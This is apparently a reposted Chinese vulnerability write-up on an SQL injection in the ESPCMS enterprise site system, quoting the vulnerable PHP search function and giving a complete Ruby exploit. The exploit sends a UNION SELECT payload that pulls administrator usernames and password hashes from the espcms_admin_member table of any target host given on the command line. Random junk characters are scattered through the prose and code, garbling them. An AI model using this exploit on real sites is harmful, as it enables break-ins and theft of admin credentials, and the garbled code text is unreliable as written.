0×0 漏洞概述0×1 漏洞细节6 ^, z% K5 V3 h* L6 z' P8 `. j
0×2 PoC
% P0 p8 H! A5 h/ f I [( W7 D8 _
' i7 ~/ t! t' T! L4 y+ k, u6 g' G. v1 k) {
0×0 漏洞概述9 a9 j! S5 {8 I4 f9 @
1 J* }0 x" T4 d' M3 Y. Y7 _1 K
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
1 X# S( z; O' a2 n& ~其在处理传入的参数时考虑不严谨导致SQL注入发生2 F; |* w2 X* U( T U7 w
+ X: [. |" J' g- y0 n4 r. Q# u) _! J" X$ O5 | m* u* y* g3 A
0×1 漏洞细节
4 B5 q9 Y) L! g1 y/ l$ h+ ?3 r' ~% P# o+ ]
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。2 I/ S- _3 n3 @3 C& ~
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。) D1 X, t! ]9 z- C5 Z
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。" R' `& R! q$ X' _8 F7 P) J% v* Q
5 {; H3 v$ Y# G( y
在/interface/3gwap_search.php文件的in_result函数中:9 [, A2 x3 M% y# V' Z' i
2 |: X, L! c% s6 s& p, y
: {) b. ^5 `7 |# _7 N8 {; S
1 M. ]2 U u8 C# {6 H9 T1 t
function in_result() {8 S, N' D1 K# f2 \: P
... ... ... ... ... ... ... ... ...8 p$ g( |1 _- h
$urlcode = $_SERVER[ 'QUERY_STRING '];: B. Y1 T) [( W! A0 x! X, ?' a( O
parse_str(html_entity_decode($urlcode), $output);
. |; I" X& K- R [7 {. s* L! c' [3 S+ I0 O8 w2 `) Y3 y
... ... ... ... ... ... ... ... ...
r9 @5 G! \( e# c7 s; g2 f if (is_array($output['attr' ]) && count($output['attr']) > 0) {+ L1 u. T. B" S* H d9 z! s
) V* n% m, X, d s; b$ ~ $db_table = db_prefix . 'model_att';
j; a- R0 s& _% I* J* f( d+ w: W# ]& z' @, W4 z2 J4 U3 ~
foreach ($output['attr' ] as $key => $value) {- F6 y3 f. M! ~& H5 K; r
if ($value) {; i& P' c3 x& s
$ I8 b( o: f6 T O+ Y9 t+ a. W# P
$key = addslashes($key);% v$ l) `' u0 @
$key = $this-> fun->inputcodetrim($key);
% q: T* {; g) B: A7 X& z, _ $db_att_where = " WHERE isclass=1 AND attrname='$key'";# |! C$ N% A( Q; |/ d0 e9 a& R5 k
$countnum = $this->db_numrows($db_table, $db_att_where);
0 v/ a( T5 ^$ u, P1 E5 i; b if ($countnum > 0) {
, t' B4 L) c, S $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
4 J' z3 x& V! | }
& j3 C6 W- m3 J o% u+ d) v }
6 A l# ?& \5 F6 n }
w z9 @; ?" \' m2 H. T }
: h b M! D3 _$ k if (!empty ($keyword) && empty($keyname)) {; O3 f) P! [% r! B0 O$ Z
$keyname = 'title';; p) }, b) M2 g# R5 e: Z
$db_where.= " AND a.title like '%$keyword%'" ;
' J% A5 W) ]# b8 H } elseif (!empty ($keyword) && !empty($keyname)) {
`& d2 e9 z) e: I9 u$ ^+ D $db_where.= " AND $keyname like '% $keyword%'";
3 C- L+ v+ l4 z( N$ {: B! O4 z }8 s0 O J+ |' `& X' q I' `
$pagemax = 15;* N- [$ X7 [5 t, X
# h! u q; D5 {. P; n
$pagesylte = 1;0 g5 Z% a9 w' o, s( t3 l9 m9 R
( P4 s6 ?1 c$ M' {! N) d! Q" G
if ($countnum > 0) {1 s5 n5 T' u' `; C4 z( p* @
' X& j2 n I( @' x
$numpage = ceil($countnum / $pagemax);
' v: y' q$ q& S& {) w4 K } else {/ |, [# K' j( R4 O
$numpage = 1;7 {/ H6 K, d+ c
}8 t9 [: y4 \% H7 U" G7 L! r6 c0 J3 D
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;( o0 d/ F/ q- c+ e7 U* ]/ |
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);4 y* I( [; ~1 S& Y" J: J
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);, ]( P2 A5 t& G- c# A3 X
... ... ... ... ... ... ... ... .... l, |1 Q& C5 j- `2 R
}$ B" F: ^+ U! W7 c
4 K+ A& z0 _, n7 I% M% P; A. t; b0 d- X& W2 ]
0×2 PoC
% W' W" O7 I7 P1 [7 g# J2 G9 ]* G
5 |. I' ]4 Y8 {, C: I6 R. k% \# z
; z5 D6 b) o1 G$ `! M( `+ M* _' X8 M. O, \2 T1 V$ Y2 r( K1 s; D0 I# S
require "net/http"1 m& z" E! ^) G$ D
: _# ~: L7 U2 L, W; s F
def request(method, url); t( S( a: Z @$ u0 R# ^) v: \/ u
if method.eql?("get")
1 T) y |2 v6 @( v8 g9 }1 n7 l uri = URI.parse(url): }' P9 x9 U3 T
http = Net::HTTP.new(uri.host, uri.port)
3 P6 d3 s+ w5 K k response = http.request(Net::HTTP::Get.new(uri.request_uri))" {, z) o: I2 ^4 ~ z
return response# o6 j- w4 I+ F, U3 @
end/ P5 n3 _0 x6 f- B o0 B C
end
, c7 D; L( k3 C# u# ~) i4 K; q2 g4 T
( J5 O4 c" g& B& K8 @ tdoc =<<HERE4 x, `9 ?7 n Y) O- Q' p+ j
-------------------------------------------------------' [/ \' ]! Q7 n7 {% C5 u; g
Espcms Injection Exploit# d; q' B1 W& w* y/ ^- ~0 X& F7 L" b7 `
Author:ztz$ a+ n; j1 g! \4 e1 o) r
Blog:http://ztz.fuzzexp.org/. M t# A. @/ Y* h9 R. [! E
-------------------------------------------------------8 K2 i! q1 V3 L& ^' Z; |" T
- J( ^8 y. V6 y8 S8 ~7 @8 M
HERE
: K1 \) |4 O9 N: z8 J
2 M9 I5 A! E0 f$ @8 h4 O+ r4 X6 }usage =<<HERE! d2 C. B1 P% q! c! z( d
Usage: ruby #{$0} host port path; g( y1 J3 J" H0 |* }$ b9 f
example: ruby #{$0} www.target.com 80 /5 z+ H8 }# Y3 F( X% W8 J! z
HERE: m& d+ e& k5 I" a8 w
& a( o6 ?% b. h8 a1 F4 b2 O( y; bputs doc+ a% E0 V6 R8 s7 z4 B/ m; c
if ARGV.length < 3
0 k: X0 U9 P D2 M- } puts usage
7 M( W/ r8 S8 \! J2 T0 ]. Belse
* d% Q& _, u6 r8 B( C G $host = ARGV[0]' F3 b/ Q2 n& N1 K
$port = ARGV[1]4 _5 Z9 H$ Q/ g
$path = ARGV[2]3 O+ W( X) P& s( S
: O+ h( s3 u- x5 ~! Q! ?4 j
puts "send request..."
' A0 r) H) p( s6 v url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
; l% w1 d( D5 G2 z2 d; E9 \attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,136 t4 r' u+ r* H! M5 p( n
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
1 q# f2 E2 X/ e; I- D0 }& M/ K# {: p,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"+ [+ m9 w! R. w+ z
response = request("get", url)- E2 a8 j* {' ~% o
result = response.body.scan(/\w+&\w{32}/)4 L5 g# z+ y) w% m. D
puts result1 k; I J6 F/ i% A' q5 {1 g& c/ J
end* |/ a; O; S, P9 Y* q# R8 t8 J
/ W5 u6 ^8 ?6 T6 [
|